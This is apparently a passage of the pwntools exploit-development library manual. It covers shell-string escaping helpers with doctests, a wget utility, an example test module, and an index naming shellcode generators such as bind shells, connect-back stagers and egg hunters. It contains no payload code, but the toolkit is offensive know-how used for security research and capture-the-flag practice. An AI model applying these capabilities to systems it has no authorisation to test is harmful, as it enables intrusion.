Android has gone through some number of shells.

- Mksh, a Korn shell, was used with Toolbox releases (5.0 and prior)
- Toybox, also derived from the Almquist Shell (6.0 and newer)

Notably, the Toolbox implementation is not POSIX compliant as it lacks a "printf" builtin (e.g. Android 5.0 emulator images).

Toybox Shell

Android 6.0 (and possibly other versions) use a shell based on toybox.

While it does not include a printf builtin, toybox itself includes a POSIX-compliant printf binary.

The Ash shells should be feature-compatible with dash.

BusyBox Shell

BusyBox's Wikipedia page claims to use an ash-compliant shell, and should therefore be compatible with dash.

`pwnlib.util.sh_string.sh_command_with` (*f*, *arg0*, ..., *argN*) → `command`

Returns a command create by evaluating *f*(*new_arg0*, ..., *new_argN*) whenever *f* is a function and *f* % (*new_arg0*, ..., *new_argN*) otherwise.

If the arguments are purely alphanumeric, then they are simply passed to function. If they are simple to escape, they will be escaped and passed to the function.

If the arguments contain trailing newlines, then it is hard to use them directly because of a limitation in the posix shell. In this case the output from *f* is prepended with a bit of code to create the variables.

Examples

```
>>> sh_command_with(lambda: "echo hello")
'echo hello'
>>> sh_command_with(lambda x: "echo " + x, "hello")
'echo hello'
>>> sh_command_with(lambda x: "/bin/echo " + x, "\\x01")
'/bin/echo '\\x01'
>>> sh_command_with(lambda x: "/bin/echo " + x, "\\x01\\n")
'/bin/echo '\\x01\\n'
>>> sh_command_with("/bin/echo %s", "\\x01\\n")
'/bin/echo '\\x01\\n'
```

`pwntools.util.sh_string.sh_prepare` (*variables*, *export=False*)

Outputs a posix compliant shell command that will put the data specified by the dictionary into the environment.

It is assumed that the keys in the dictionary are valid variable names that does not need any escaping.

Parameters

- **variables** (*dict*) – The variables to set.
- **export** (*bool*) – Should the variables be exported or only stored in the shell environment?
- **output** (*str*) – A valid posix shell command that will set the given variables.

It is assumed that *var* is a valid name for a variable in the shell.

Examples

```
>>> sh_prepare({'X': 'foobar'})
'X=foobar'
>>> r = sh_prepare({'X': 'foobar', 'Y': 'cookies'})
>>> r == 'X=foobar;Y=cookies' or r == 'Y=cookies;X=foobar'
True
>>> sh_prepare({'X': 'foo bar'})
'X='foo bar''
>>> sh_prepare({'X': "foo'bar"})
'X='foo'\''bar''
>>> sh_prepare({'X': "foo\\bar"})
'X='foo\\bar''
>>> sh_prepare({'X': "foo\\\\bar"})
'X='foo\\\\bar''
>>> sh_prepare({'X': "foo\\\\\\bar"})
'X='foo\\\\\\bar''
>>> sh_prepare({'X': "foo\\x01'bar"})
'X='foo\\x01'\''bar''
>>> sh_prepare({'X': "foo\\x01'bar"}, export = True)
'export X='foo\\x01'\''bar''
>>> sh_prepare({'X': "foo\\x01'bar\\n"})
'X='foo\\x01'\''bar\\n''
>>> sh_prepare({'X': "foo\\x01'bar\\n"})
'X='foo\\x01'\''bar\\n''
>>> sh_prepare({'X': "foo\\x01'bar\\n"}, export = True)
'export X='foo\\x01'\''bar\\n''
```

`pwntools.util.sh_string.sh_string` (*s*)

Outputs a string in a format that will be understood by `/bin/sh`.

If the string does not contain any bad characters, it will simply be returned, possibly with quotes. If it contains bad characters, it will be escaped in a way which is compatible with most known systems.

Warning: This does not play along well with the shell’s built-in “echo”. It works exactly as expected to set environment variables and arguments, **unless** it’s the shell-builtin echo.

Argument: `s(str)`: String to escape.

Examples

```
>>> sh_string('foobar')
'foobar'
>>> sh_string('foo bar')
'"foo bar"'
>>> sh_string("foo'bar")
'"foo'\''bar"'
>>> sh_string("foo\\bar")
'"foo\\bar"'
>>> sh_string("foo\\\\bar")
'"foo\\\\bar"'
>>> sh_string("foo\\\\'bar")
'"foo\\\\'\''bar"'
>>> sh_string("foo\\x01'bar")
'"foo\\x01'\''bar"'
```

`pwntools.util.sh_string.test` (*original*)

Tests the output provided by a shell interpreting a string

```
>>> test('foobar')
>>> test('foo bar')
>>> test('foo bar\n')
>>> test("foo'bar")
>>> test("foo\\bar")
>>> test("foo\\\\bar")
>>> test("foo\\\\'bar")
>>> test("foo\\x01'bar")
>>> test('\n')
>>> test('\xff')
>>> test(os.urandom(16 * 1024).replace('\x00', ''))
```

2.43 pwntools.util.web — Utilities for working with the WWW

`pwntools.util.web.wget` (*url*, *save=None*, *timeout=5*) → *str*

Downloads a file via HTTP/HTTPS.

Parameters

- **url** (*str*) – URL to download
- **save** (*str* or *bool*) – Name to save as. Any truthy value will auto-generate a name based on the URL.
- **timeout** (*int*) – Timeout, in seconds

Example

```
>>> url = 'https://httpbin.org/robots.txt'
>>> result = wget(url, timeout=60)
>>> result
'User-agent: *\nDisallow: /deny\n'
>>> result2 = wget(url, True, timeout=60)
>>> result == file('robots.txt').read()
True
```

2.44 pwnlib.testexample — Example Test Module

Module-level documentation would go here, along with a general description of the functionality. You can also add module-level doctests.

You can see what the documentation for this module will look like here: <https://docs.pwntools.com/en/stable/testexample.html>

The tests for this module are run when the documentation is automatically-generated by Sphinx. This particular module is invoked by an “automodule” directive, which imports everything in the module, or everything listed in `__all__` in the module.

The doctests are automatically picked up by the `>>>` symbol, like from the Python prompt. For more on doctests, see the [Python documentation](#).

All of the syntax in this file is ReStructuredText. You can find a [nice cheat sheet here](#).

Here’s an example of a module-level doctest:

```
>>> add(3, add(2, add(1, 0)))
6
```

If doctests are wrong / broken, you can disable them temporarily.

```
>>> add(2, 2)
5
```

Some things in Python are non-deterministic, like `dict` or `set` ordering. There are a lot of ways to work around this, but the accepted way of doing this is to test for equality.

```
>>> a = {a:a+1 for a in range(3)}
>>> a == {0:1, 1:2, 2:3}
True
```

In order to use other modules, they need to be imported from the RST which documents the module.

```
>>> os.path.basename('foo/bar')
'bar'
```

`pwnlib.testexample.add(a, b) → int`
Adds the numbers `a` and `b`.

Parameters

- `a` (*int*) – First number to add
- `b` (*int*) – Second number to add

Returns The sum of a and b.

Examples

```
>>> add(1, 2)
3
>>> add(-1, 33)
32
```


CHAPTER 3

Indices and tables

- `genindex`
- `modindex`
- `search`

p

- pwn, 3
- pwnlib, 4
- pwnlib.adb.adb, 21
- pwnlib.adb.protocol, 28
- pwnlib.args, 29
- pwnlib.asm, 30
- pwnlib.atexception, 34
- pwnlib.atexit, 34
- pwnlib.config, 36
- pwnlib.constants, 35
- pwnlib.context, 37
- pwnlib.dynelf, 49
- pwnlib.elf, 53
- pwnlib.elf.config, 66
- pwnlib.elf.corefile, 66
- pwnlib.elf.elf, 53
- pwnlib.encoders, 52
- pwnlib.encoders.amd64, 52
- pwnlib.encoders.arm, 52
- pwnlib.encoders.encoder, 52
- pwnlib.encoders.i386, 52
- pwnlib.encoders.i386.xor, 52
- pwnlib.exception, 75
- pwnlib.flag, 75
- pwnlib.fmtstr, 76
- pwnlib.gdb, 79
- pwnlib.libcdb, 86
- pwnlib.log, 87
- pwnlib.memleak, 91
- pwnlib.protocols, 100
- pwnlib.protocols.adb, 100
- pwnlib.qemu, 103
- pwnlib.regsort, 162
- pwnlib.replacements, 105
- pwnlib.rop.rop, 105
- pwnlib.rop.srop, 113
- pwnlib.runner, 118
- pwnlib.shellcraft, 119
- pwnlib.shellcraft.aarch64, 119
- pwnlib.shellcraft.aarch64.linux, 124
- pwnlib.shellcraft.amd64, 127
- pwnlib.shellcraft.amd64.linux, 132
- pwnlib.shellcraft.arm, 137
- pwnlib.shellcraft.arm.linux, 141
- pwnlib.shellcraft.common, 143
- pwnlib.shellcraft.i386, 143
- pwnlib.shellcraft.i386.freebsd, 156
- pwnlib.shellcraft.i386.linux, 151
- pwnlib.shellcraft.mips, 156
- pwnlib.shellcraft.mips.linux, 159
- pwnlib.shellcraft.thumb, 164
- pwnlib.shellcraft.thumb.linux, 168
- pwnlib.term, 171
- pwnlib.testexample, 298
- pwnlib.timeout, 172
- pwnlib.tubes, 173
- pwnlib.tubes.listen, 181
- pwnlib.tubes.process, 174
- pwnlib.tubes.remote, 180
- pwnlib.tubes.serialtube, 179
- pwnlib.tubes.server, 182
- pwnlib.tubes.sock, 180
- pwnlib.tubes.ssh, 183
- pwnlib.tubes.tube, 193
- pwnlib.ui, 204
- pwnlib.update, 204
- pwnlib.useragents, 205
- pwnlib.util.crc, 206
- pwnlib.util.cyclic, 249
- pwnlib.util.fiddling, 252
- pwnlib.util.hashes, 262
- pwnlib.util.iters, 264
- pwnlib.util.lists, 274
- pwnlib.util.misc, 276
- pwnlib.util.net, 280
- pwnlib.util.packing, 281
- pwnlib.util.proc, 288
- pwnlib.util.safeeval, 290

`pwnlib.util.sh_string`, [292](#)
`pwnlib.util.web`, [297](#)

Symbols

- address <address>
 - pwn-shellcraft command line option, 19
- color
 - pwn-disasm command line option, 15
 - pwn-shellcraft command line option, 18
- color {always,never,auto}
 - pwn-phd command line option, 17
- exec <executable>
 - pwn-debug command line option, 15
- file <elf>
 - pwn-checksec command line option, 13
- host <host>
 - pwn-template command line option, 19
- install
 - pwn-update command line option, 20
- no-color
 - pwn-disasm command line option, 15
 - pwn-shellcraft command line option, 18
- pass <password>
 - pwn-template command line option, 19
- path <path>
 - pwn-template command line option, 19
- pid <pid>
 - pwn-debug command line option, 15
- port <port>
 - pwn-template command line option, 19
- pre
 - pwn-update command line option, 20
- process <process_name>
 - pwn-debug command line option, 15
- quiet
 - pwn-template command line option, 19
- syscalls
 - pwn-shellcraft command line option, 18
- sysroot <sysroot>
 - pwn-debug command line option, 15
- user <user>
 - pwn-template command line option, 19

- ?, -show
 - pwn-shellcraft command line option, 18
- a <address>, -address <address>
 - pwn-disasm command line option, 15
- a <alphabet>, -alphabet <alphabet>
 - pwn-cyclic command line option, 14
- a, -after
 - pwn-shellcraft command line option, 18
- b, -before
 - pwn-shellcraft command line option, 18
- b, -build-id
 - pwn-pwnstrip command line option, 17
- c <count>, -count <count>
 - pwn-phd command line option, 17
- c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64}
 - context {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,pow
 - pwn-asm command line option, 13
 - pwn-constgrep command line option, 14
 - pwn-cyclic command line option, 14
 - pwn-debug command line option, 15
 - pwn-disasm command line option, 15
 - pwn-scramble command line option, 17
- d, -debug
 - pwn-asm command line option, 13
 - pwn-scramble command line option, 18
 - pwn-shellcraft command line option, 18
- e <constant>, -exact <constant>
 - pwn-constgrep command line option, 14
- e <encoder>, -encoder <encoder>
 - pwn-asm command line option, 13
- f {r,raw,s,str,string,c,h,hex,a,asm,assembly,p,i,hexii,e,elf,d,escaped,default}
 - format {r,raw,s,str,string,c,h,hex,a,asm,assembly,p,i,hexii,e,elf,d,
 - pwn-shellcraft command line option, 18
- f {raw,hex,string,elf}, -format {raw,hex,string,elf}
 - pwn-asm command line option, 13
 - pwn-scramble command line option, 17
- h, -help
 - pwn command line option, 12
 - pwn-asm command line option, 13

- pwn-checksec command line option, 13
- pwn-constgrep command line option, 14
- pwn-cyclic command line option, 14
- pwn-debug command line option, 14
- pwn-disablenx command line option, 15
- pwn-disasm command line option, 15
- pwn-elfdiff command line option, 16
- pwn-elfpatch command line option, 16
- pwn-errno command line option, 16
- pwn-hex command line option, 16
- pwn-phd command line option, 16
- pwn-pwnstrip command line option, 17
- pwn-scramble command line option, 17
- pwn-shellcraft command line option, 18
- pwn-template command line option, 19
- pwn-unhex command line option, 19
- pwn-update command line option, 19
- i <infile>, -infile <infile>
 - pwn-asm command line option, 13
- i, -case-insensitive
 - pwn-constgrep command line option, 14
- l <highlight>, -highlight <highlight>
 - pwn-phd command line option, 16
- l <lookup_value>, -o <lookup_value>, -offset <lookup_value>, -lookup <lookup_value>
 - pwn-cyclic command line option, 14
- l, -list
 - pwn-shellcraft command line option, 19
- m, -mask-mode
 - pwn-constgrep command line option, 14
- n <length>, -length <length>
 - pwn-cyclic command line option, 14
- n, -newline
 - pwn-asm command line option, 13
 - pwn-scramble command line option, 17
 - pwn-shellcraft command line option, 18
- o <file>, -out <file>
 - pwn-shellcraft command line option, 18
- o <file>, -output <file>
 - pwn-asm command line option, 13
 - pwn-scramble command line option, 17
- o <offset>, -offset <offset>
 - pwn-phd command line option, 17
- o <output>, -output <output>
 - pwn-pwnstrip command line option, 17
- p <function>, -patch <function>
 - pwn-pwnstrip command line option, 17
- p, -alphanumeric
 - pwn-scramble command line option, 17
- r, -run
 - pwn-asm command line option, 13
 - pwn-shellcraft command line option, 18
- s <skip>, -skip <skip>
 - pwn-phd command line option, 17

- s, -shared
 - pwn-shellcraft command line option, 19
- v <avoid>, -avoid <avoid>
 - pwn-asm command line option, 13
 - pwn-scramble command line option, 17
 - pwn-shellcraft command line option, 18
- w <width>, -width <width>
 - pwn-phd command line option, 16
- x <gdbscript>
 - pwn-debug command line option, 14
- z, -zero
 - pwn-asm command line option, 13
 - pwn-scramble command line option, 18
 - pwn-shellcraft command line option, 18

A

- a
 - pwn-elfdiff command line option, 16
- acceptloop_ipv4() (in module pwn-lib.shellcraft.i386.freebsd), 156
- acceptloop_ipv4() (in module pwn-lib.shellcraft.i386.linux), 151
- adb (pwnlib.context.ContextType attribute), 40
- adb() (in module pwnlib.adb.adb), 22
- adb_host (pwnlib.context.ContextType attribute), 40
- adb_port (pwnlib.context.ContextType attribute), 41
- AdbClient (class in pwnlib.protocols.adb), 100
- AdbDevice (class in pwnlib.adb.adb), 22
- add() (in module pwnlib.testexample), 298
- addHandler() (pwnlib.log.Logger method), 91
- address (pwnlib.elf.corefile.Mapping attribute), 74
- address (pwnlib.elf.elf.ELF attribute), 59
- address (pwnlib.elf.elf.Function attribute), 65
- alarm (pwnlib.tubes.process.process attribute), 178
- align() (in module pwnlib.util.misc), 276
- align_down() (in module pwnlib.util.misc), 276
- alphanumeric() (in module pwnlib.encoders.encoder), 52
- ancestors() (in module pwnlib.util.proc), 288
- arc() (in module pwnlib.util.crc), 208
- arch (pwnlib.context.ContextType attribute), 41
- arch (pwnlib.elf.elf.ELF attribute), 60
- arch (pwnlib.tubes.ssh.ssh attribute), 192
- architectures (pwnlib.context.ContextType attribute), 42
- archname() (in module pwnlib.qemu), 104
- arg
 - pwn-shellcraft command line option, 18
- argc (pwnlib.elf.corefile.Corefile attribute), 71
- argc_address (pwnlib.elf.corefile.Corefile attribute), 71
- argv (pwnlib.elf.corefile.Corefile attribute), 71
- argv (pwnlib.tubes.process.process attribute), 178
- argv_address (pwnlib.elf.corefile.Corefile attribute), 71
- asan (pwnlib.elf.elf.ELF attribute), 60
- asbool() (in module pwnlib.args), 30
- aslr (pwnlib.context.ContextType attribute), 42

aslr (pwnlib.elf.elf.ELF attribute), 60
 aslr (pwnlib.tubes.process.process attribute), 178
 aslr (pwnlib.tubes.ssh.ssh attribute), 192
 aslr_ulimit (pwnlib.tubes.ssh.ssh attribute), 192
 asm() (in module pwnlib.asm), 30
 asm() (pwnlib.elf.elf.ELF method), 54
 attach() (in module pwnlib.gdb), 80
 available_on_pypi() (in module pwnlib.update), 204

B

b

 pwn-elfdiff command line option, 16
 b() (pwnlib.memleak.MemLeak method), 93
 b64d() (in module pwnlib.util.fiddling), 252
 b64e() (in module pwnlib.util.fiddling), 253
 base (pwnlib.rop.rop.ROP attribute), 113
 bases() (pwnlib.dynelf.DynELF method), 50
 binary (pwnlib.context.ContextType attribute), 42
 binary() (in module pwnlib.gdb), 82
 binary_ip() (in module pwnlib.util.misc), 277
 bindsh() (in module pwnlib.shellcraft.amd64.linux), 132
 bindsh() (in module pwnlib.shellcraft.mips.linux), 159
 bindsh() (in module pwnlib.shellcraft.thumb.linux), 168
 BitPolynom (class in pwnlib.util.crc), 206
 bits (pwnlib.context.ContextType attribute), 42
 bits (pwnlib.elf.elf.ELF attribute), 60
 bits (pwnlib.tubes.ssh.ssh attribute), 192
 bits() (in module pwnlib.util.fiddling), 253
 bits_str() (in module pwnlib.util.fiddling), 253
 bitswap() (in module pwnlib.util.fiddling), 253
 bitswap_int() (in module pwnlib.util.fiddling), 254
 bnot() (in module pwnlib.util.fiddling), 254
 boot_time() (in module pwnlib.adb.adb), 22
 breakpoint() (in module pwnlib.shellcraft.aarch64), 119
 breakpoint() (in module pwnlib.shellcraft.i386), 143
 bruteforce() (in module pwnlib.util.itors), 264
 bss() (pwnlib.elf.elf.ELF method), 54
 buffer_size (pwnlib.context.ContextType attribute), 43
 build (pwnlib.elf.elf.ELF attribute), 60
 build() (in module pwnlib.adb.adb), 22
 build() (pwnlib.rop.rop.ROP method), 111
 buildid (pwnlib.elf.elf.ELF attribute), 60
 bytes (pwnlib.context.ContextType attribute), 43
 bytes (pwnlib.elf.elf.ELF attribute), 60

C

c (pwnlib.protocols.adb.AdbClient attribute), 103
 cache (pwnlib.tubes.ssh.ssh attribute), 192
 cache_dir (pwnlib.context.ContextType attribute), 43
 cache_file() (in module pwnlib.update), 205
 cacheflush() (in module pwnlib.shellcraft.arm.linux), 141
 call() (pwnlib.rop.rop.ROP method), 111
 can_init() (in module pwnlib.term), 171
 can_recv() (pwnlib.tubes.tube.tube method), 193

can_recv_raw() (pwnlib.tubes.process.process method), 176
 can_recv_raw() (pwnlib.tubes.serialtube.serialtube method), 179
 canary (pwnlib.elf.elf.ELF attribute), 60
 canonname (pwnlib.tubes.listen.listen attribute), 181
 canonname (pwnlib.tubes.server.server attribute), 182
 cat() (in module pwnlib.shellcraft.aarch64.linux), 124
 cat() (in module pwnlib.shellcraft.amd64.linux), 133
 cat() (in module pwnlib.shellcraft.arm.linux), 141
 cat() (in module pwnlib.shellcraft.i386.linux), 151
 cat() (in module pwnlib.shellcraft.mips.linux), 159
 cat() (in module pwnlib.shellcraft.thumb.linux), 168
 chain() (in module pwnlib.util.itors), 273
 chain() (pwnlib.rop.rop.ROP method), 111
 chained() (in module pwnlib.util.itors), 264
 check_cycle() (in module pwnlib.regsort), 162
 checksec() (pwnlib.elf.elf.ELF method), 54
 checksec() (pwnlib.tubes.ssh.ssh method), 183
 children() (in module pwnlib.util.proc), 288
 cksum() (in module pwnlib.util.crc), 207
 clean() (pwnlib.tubes.tube.tube method), 194
 clean_and_log() (pwnlib.tubes.tube.tube method), 194
 clear() (pwnlib.context.ContextType method), 39
 clearb() (pwnlib.memleak.MemLeak method), 93
 cleard() (pwnlib.memleak.MemLeak method), 93
 clearq() (pwnlib.memleak.MemLeak method), 94
 clearw() (pwnlib.memleak.MemLeak method), 94
 client (pwnlib.tubes.ssh.ssh attribute), 192
 close() (pwnlib.protocols.adb.Connection method), 103
 close() (pwnlib.tubes.listen.listen method), 181
 close() (pwnlib.tubes.process.process method), 176
 close() (pwnlib.tubes.serialtube.serialtube method), 179
 close() (pwnlib.tubes.server.server method), 182
 close() (pwnlib.tubes.ssh.ssh method), 183
 close() (pwnlib.tubes.tube.tube method), 194
 cmdline() (in module pwnlib.util.proc), 288
 combinations() (in module pwnlib.util.itors), 274
 combinations_with_replacement() (in module pwnlib.util.itors), 274
 communicate() (pwnlib.tubes.process.process method), 176
 compile() (in module pwnlib.adb.adb), 22
 compress() (in module pwnlib.util.itors), 274
 concat() (in module pwnlib.util.lists), 274
 concat_all() (in module pwnlib.util.lists), 275
 config (pwnlib.elf.elf.ELF attribute), 60
 connect() (in module pwnlib.shellcraft.aarch64.linux), 124
 connect() (in module pwnlib.shellcraft.amd64.linux), 133
 connect() (in module pwnlib.shellcraft.arm.linux), 141
 connect() (in module pwnlib.shellcraft.i386.linux), 151
 connect() (in module pwnlib.shellcraft.mips.linux), 159
 connect() (in module pwnlib.shellcraft.thumb.linux), 168

connect_both() (pwnlib.tubes.tube.tube method), 194
connect_input() (pwnlib.tubes.tube.tube method), 195
connect_output() (pwnlib.tubes.tube.tube method), 195
connect_remote() (pwnlib.tubes.ssh.ssh method), 184
connected() (pwnlib.tubes.ssh.ssh method), 184
connected() (pwnlib.tubes.tube.tube method), 195
connected_raw() (pwnlib.tubes.process.process method), 177
connected_raw() (pwnlib.tubes.serialtube.serialtube method), 179
Connection (class in pwnlib.protocols.adb), 103
connectstager() (in module pwnlib.shellcraft.amd64.linux), 133
connectstager() (in module pwnlib.shellcraft.i386.linux), 151
connectstager() (in module pwnlib.shellcraft.thumb.linux), 169
const() (in module pwnlib.util.safeeval), 290
constant
 pwn-constgrep command line option, 14
consume() (in module pwnlib.util.itors), 265
context (in module pwnlib.context), 49
ContextType (class in pwnlib.context), 37
ContextType.Thread (class in pwnlib.context), 38
copy() (pwnlib.context.ContextType method), 39
Corefile (class in pwnlib.elf.corefile), 67
corefile (pwnlib.tubes.process.process attribute), 178
corefile() (in module pwnlib.gdb), 82
count
 pwn-cyclic command line option, 14
count() (in module pwnlib.util.itors), 274
countdown() (pwnlib.timeout.Timeout method), 173
cpp() (in module pwnlib.asm), 31
crash() (in module pwnlib.shellcraft.aarch64), 120
crash() (in module pwnlib.shellcraft.amd64), 127
crash() (in module pwnlib.shellcraft.arm), 137
crash() (in module pwnlib.shellcraft.i386), 143
crash() (in module pwnlib.shellcraft.thumb), 164
crc_10() (in module pwnlib.util.crc), 208
crc_10_cdma2000() (in module pwnlib.util.crc), 209
crc_10_gsm() (in module pwnlib.util.crc), 209
crc_11() (in module pwnlib.util.crc), 209
crc_11_umts() (in module pwnlib.util.crc), 210
crc_12_cdma2000() (in module pwnlib.util.crc), 210
crc_12_dect() (in module pwnlib.util.crc), 211
crc_12_gsm() (in module pwnlib.util.crc), 211
crc_12_umts() (in module pwnlib.util.crc), 212
crc_13_bbc() (in module pwnlib.util.crc), 212
crc_14_darc() (in module pwnlib.util.crc), 212
crc_14_gsm() (in module pwnlib.util.crc), 213
crc_15() (in module pwnlib.util.crc), 213
crc_15_mpt1327() (in module pwnlib.util.crc), 214
crc_16_aug_ccitt() (in module pwnlib.util.crc), 214
crc_16_bypass() (in module pwnlib.util.crc), 214
crc_16_ccitt_false() (in module pwnlib.util.crc), 215
crc_16_cdma2000() (in module pwnlib.util.crc), 215
crc_16_cms() (in module pwnlib.util.crc), 216
crc_16_dds_110() (in module pwnlib.util.crc), 216
crc_16_dect_r() (in module pwnlib.util.crc), 217
crc_16_dect_x() (in module pwnlib.util.crc), 217
crc_16_dnp() (in module pwnlib.util.crc), 217
crc_16_en_13757() (in module pwnlib.util.crc), 218
crc_16_genibus() (in module pwnlib.util.crc), 218
crc_16_gsm() (in module pwnlib.util.crc), 219
crc_16_lj1200() (in module pwnlib.util.crc), 219
crc_16_maxim() (in module pwnlib.util.crc), 219
crc_16_mcrf4xx() (in module pwnlib.util.crc), 220
crc_16_opensafety_a() (in module pwnlib.util.crc), 220
crc_16_opensafety_b() (in module pwnlib.util.crc), 221
crc_16_profibus() (in module pwnlib.util.crc), 221
crc_16_riello() (in module pwnlib.util.crc), 222
crc_16_t10_dif() (in module pwnlib.util.crc), 222
crc_16_teledisk() (in module pwnlib.util.crc), 222
crc_16_tms37157() (in module pwnlib.util.crc), 223
crc_16_usb() (in module pwnlib.util.crc), 223
crc_24() (in module pwnlib.util.crc), 224
crc_24_ble() (in module pwnlib.util.crc), 224
crc_24_flexray_a() (in module pwnlib.util.crc), 224
crc_24_flexray_b() (in module pwnlib.util.crc), 225
crc_24_interlaken() (in module pwnlib.util.crc), 225
crc_24_lte_a() (in module pwnlib.util.crc), 226
crc_24_lte_b() (in module pwnlib.util.crc), 226
crc_30_cdma() (in module pwnlib.util.crc), 227
crc_31_philips() (in module pwnlib.util.crc), 227
crc_32() (in module pwnlib.util.crc), 227
crc_32_autosar() (in module pwnlib.util.crc), 228
crc_32_bzip2() (in module pwnlib.util.crc), 228
crc_32_mpeg_2() (in module pwnlib.util.crc), 229
crc_32_posix() (in module pwnlib.util.crc), 229
crc_32c() (in module pwnlib.util.crc), 229
crc_32d() (in module pwnlib.util.crc), 230
crc_32q() (in module pwnlib.util.crc), 230
crc_3_gsm() (in module pwnlib.util.crc), 231
crc_3_rohc() (in module pwnlib.util.crc), 231
crc_40_gsm() (in module pwnlib.util.crc), 232
crc_4_interlaken() (in module pwnlib.util.crc), 232
crc_4_itu() (in module pwnlib.util.crc), 232
crc_5_epc() (in module pwnlib.util.crc), 233
crc_5_itu() (in module pwnlib.util.crc), 233
crc_5_usb() (in module pwnlib.util.crc), 234
crc_64() (in module pwnlib.util.crc), 234
crc_64_go_iso() (in module pwnlib.util.crc), 234
crc_64_we() (in module pwnlib.util.crc), 235
crc_64_xz() (in module pwnlib.util.crc), 235
crc_6_cdma2000_a() (in module pwnlib.util.crc), 236
crc_6_cdma2000_b() (in module pwnlib.util.crc), 236
crc_6_darc() (in module pwnlib.util.crc), 237
crc_6_gsm() (in module pwnlib.util.crc), 237

crc_6_itu() (in module pwnlib.util.crc), 237
 crc_7() (in module pwnlib.util.crc), 238
 crc_7_rohc() (in module pwnlib.util.crc), 238
 crc_7_umts() (in module pwnlib.util.crc), 239
 crc_8() (in module pwnlib.util.crc), 239
 crc_82_darc() (in module pwnlib.util.crc), 239
 crc_8_autosar() (in module pwnlib.util.crc), 240
 crc_8_cdma2000() (in module pwnlib.util.crc), 240
 crc_8_darc() (in module pwnlib.util.crc), 241
 crc_8_dvb_s2() (in module pwnlib.util.crc), 241
 crc_8_ebu() (in module pwnlib.util.crc), 242
 crc_8_gsm_a() (in module pwnlib.util.crc), 242
 crc_8_gsm_b() (in module pwnlib.util.crc), 242
 crc_8_i_code() (in module pwnlib.util.crc), 243
 crc_8_itu() (in module pwnlib.util.crc), 243
 crc_8_lte() (in module pwnlib.util.crc), 244
 crc_8_maxim() (in module pwnlib.util.crc), 244
 crc_8_opensafety() (in module pwnlib.util.crc), 244
 crc_8_rohc() (in module pwnlib.util.crc), 245
 crc_8_sae_j1850() (in module pwnlib.util.crc), 245
 crc_8_wcdma() (in module pwnlib.util.crc), 246
 crc_a() (in module pwnlib.util.crc), 246
 critical() (pwnlib.log.Logger method), 90
 current_device() (in module pwnlib.adb.adb), 22
 cwd (pwnlib.tubes.process.process attribute), 178
 cwd (pwnlib.tubes.ssh.ssh attribute), 192
 cwd() (in module pwnlib.util.proc), 289
 cycle() (in module pwnlib.util.itors), 274
 cyclen() (in module pwnlib.util.itors), 265
 cyclic() (in module pwnlib.util.cyclic), 249
 cyclic_alphabet (pwnlib.context.ContextType attribute), 43
 cyclic_find() (in module pwnlib.util.cyclic), 250
 cyclic_metasploit() (in module pwnlib.util.cyclic), 251
 cyclic_metasploit_find() (in module pwnlib.util.cyclic), 252
 cyclic_size (pwnlib.context.ContextType attribute), 43

D

d() (pwnlib.memleak.MemLeak method), 94
 data
 pwn-hex command line option, 16
 data (pwnlib.elf.corefile.Mapping attribute), 74
 data (pwnlib.elf.elf.ELF attribute), 61
 dd() (in module pwnlib.util.packing), 281
 de_bruijn() (in module pwnlib.util.cyclic), 252
 dealarm_shell() (in module pwnlib.util.misc), 277
 DEBUG() (in module pwnlib.args), 29
 debug() (in module pwnlib.gdb), 82
 debug() (pwnlib.elf.corefile.Corefile method), 71
 debug() (pwnlib.elf.elf.ELF method), 54
 debug() (pwnlib.log.Logger method), 90
 debug_assembly() (in module pwnlib.gdb), 84
 debug_shellcode() (in module pwnlib.gdb), 84

default (pwnlib.timeout.Timeout attribute), 173
 defaults (pwnlib.context.ContextType attribute), 43
 degree() (pwnlib.util.crc.BitPolynom method), 207
 delete_corefiles (pwnlib.context.ContextType attribute), 44
 descendants() (in module pwnlib.util.proc), 289
 describe() (pwnlib.rop.rop.ROP method), 112
 device (pwnlib.context.ContextType attribute), 44
 devices() (in module pwnlib.adb.adb), 22
 devices() (pwnlib.protocols.adb.AdbClient method), 100
 dir() (in module pwnlib.shellcraft.arm.linux), 141
 dir() (in module pwnlib.shellcraft.i386.linux), 151
 disable_nx() (pwnlib.elf.elf.ELF method), 54
 disable_verity() (in module pwnlib.adb.adb), 23
 disasm() (in module pwnlib.asm), 31
 disasm() (pwnlib.elf.elf.ELF method), 54
 distro (pwnlib.tubes.ssh.ssh attribute), 192
 dotdict (class in pwnlib.elf.elf), 65
 dotproduct() (in module pwnlib.util.itors), 265
 download() (pwnlib.tubes.ssh.ssh method), 184
 download_data() (pwnlib.tubes.ssh.ssh method), 184
 download_dir() (pwnlib.tubes.ssh.ssh method), 185
 download_file() (pwnlib.tubes.ssh.ssh method), 185
 dpkg_search_for_binutils() (in module pwnlib.asm), 33
 dropwhile() (in module pwnlib.util.itors), 274
 dump() (pwnlib.dynelf.DynELF method), 51
 dump() (pwnlib.rop.rop.ROP method), 112
 dup() (in module pwnlib.shellcraft.amd64.linux), 133
 dup() (in module pwnlib.shellcraft.thumb.linux), 169
 dupio() (in module pwnlib.shellcraft.i386.linux), 152
 dupsh() (in module pwnlib.shellcraft.amd64.linux), 133
 dupsh() (in module pwnlib.shellcraft.i386.linux), 152
 dupsh() (in module pwnlib.shellcraft.mips.linux), 159
 dupsh() (in module pwnlib.shellcraft.thumb.linux), 169
 dwarf (pwnlib.elf.elf.ELF attribute), 61
 dynamic (pwnlib.dynelf.DynELF attribute), 51
 dynamic_by_tag() (pwnlib.elf.elf.ELF method), 54
 dynamic_string() (pwnlib.elf.elf.ELF method), 54
 dynamic_value_by_tag() (pwnlib.elf.elf.ELF method), 54
 DynELF (class in pwnlib.dynelf), 50

E

echo() (in module pwnlib.shellcraft.aarch64.linux), 124
 echo() (in module pwnlib.shellcraft.amd64.linux), 133
 echo() (in module pwnlib.shellcraft.arm.linux), 141
 echo() (in module pwnlib.shellcraft.i386.linux), 152
 echo() (in module pwnlib.shellcraft.mips.linux), 159
 echo() (in module pwnlib.shellcraft.thumb.linux), 169
 egghunter() (in module pwnlib.shellcraft.amd64.linux), 133
 egghunter() (in module pwnlib.shellcraft.arm.linux), 142
 egghunter() (in module pwnlib.shellcraft.i386.linux), 152
 elf
 pwn-checksec command line option, 13

- pwn-disablenx command line option, 15
- ELF (class in pwnlib.elf.elf), 53
- elf (pwnlib.elf.elf.Function attribute), 65
- elf (pwnlib.tubes.process.process attribute), 178
- elfclass (pwnlib.dynelf.DynELF attribute), 51
